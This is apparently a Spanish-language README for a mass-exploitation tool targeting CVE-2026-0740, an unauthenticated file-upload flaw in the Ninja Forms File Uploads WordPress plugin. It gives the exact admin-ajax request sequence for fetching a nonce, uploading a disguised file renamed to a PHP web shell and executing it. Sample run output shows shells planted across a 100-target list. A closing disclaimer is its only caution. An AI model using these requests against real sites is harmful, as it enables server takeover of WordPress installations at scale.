
Explotador masivo automatizado para CVE-2026-0740, una subida arbitraria de archivos sin autenticación en el plugin Ninja Forms File Uploads, que permite la ejecución remota de código mediante subidas manipuladas.
El plugin Ninja Forms - File Uploads para WordPress es vulnerable a la subida de archivos arbitraria no autenticada debido a la falta de validación del tipo de archivo y a la falta de comprobaciones de capacidades en la función 'NF_FU_AJAX_Controllers_Uploads::handle_upload' en todas las versiones hasta, e incluyendo, la 3.3.26
Esta falla permite a atacantes no autenticados:
~ Puntuación CVSS: 9.8 (Crítico)
~ Versiones Afectadas: <= 3.3.26
Paso 1: Obtener Nonce
────────────────────────────────────
POST /wp-admin/admin-ajax.php
Datos: action=nf_fu_get_new_nonce&field_id=7&form_id=7
Respuesta: {"success":true,"data":{"nonce":"7a850757a1"}}
│
▼
Paso 2: Subir Archivo Disfrazado + Renombrar a PHP
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
Datos:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (extensión permitida)
- doc_pdf=shadow.php (destino del renombrado)
│
▼
Paso 3: El Servidor Almacena el Archivo Malicioso
─────────────────────────────────────
Ubicación: /wp-content/uploads/ninja-forms/tmp/shadow.php
Contenido: Shell PHP (uploader / webshell)
│
▼
Paso 4: Ejecutar el archivo subido
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ Ejecutar webshell
→ Toma de control total del servidor
- Conclusiones de los experimentos de campo:
1. El endpoint `nf_fu_get_new_nonce` devuelve un nonce válido sin comprobar la existencia del campo
→ Sin validación de los parámetros `field_id` y `form_id` (CUALQUIER ID aleatorio funciona)
2. Fallo lógico crítico en la funcionalidad de renombrado
→ El plugin acepta el nombre de archivo proporcionado por el usuario mediante el parámetro POST
→ Sin validación de la extensión final del archivo después del renombrado
3. El archivo subido aterriza directamente en un directorio accesible desde la web
→ /wp-content/uploads/ninja-forms/tmp/
4. El propietario de esta herramienta es muy guapo
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
╰┈➤ Visualización de respuesta completa
[+] Cargados 100 objetivos
[1/100]
😈 [FRISKA RESEARCHER] Ataque a: https://example.com
[*] Obteniendo nonce...
[*] Estado HTTP: 400
[*] Respuesta: 0
[-] Error HTTP: 400
[2/100]
😈 [FRISKA RESEARCHER] Ataque a: https://www.test.com
[*] Obteniendo nonce...
[*] Estado HTTP: 200
[*] Respuesta: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] Subiendo shell...
[*] Respuesta de subida: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}
============================================================
🔥 SUBIDOR DE SHELL: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================
El uso no autorizado de sistemas que no te pertenecen o para los que no tienes permiso de prueba es ilegal.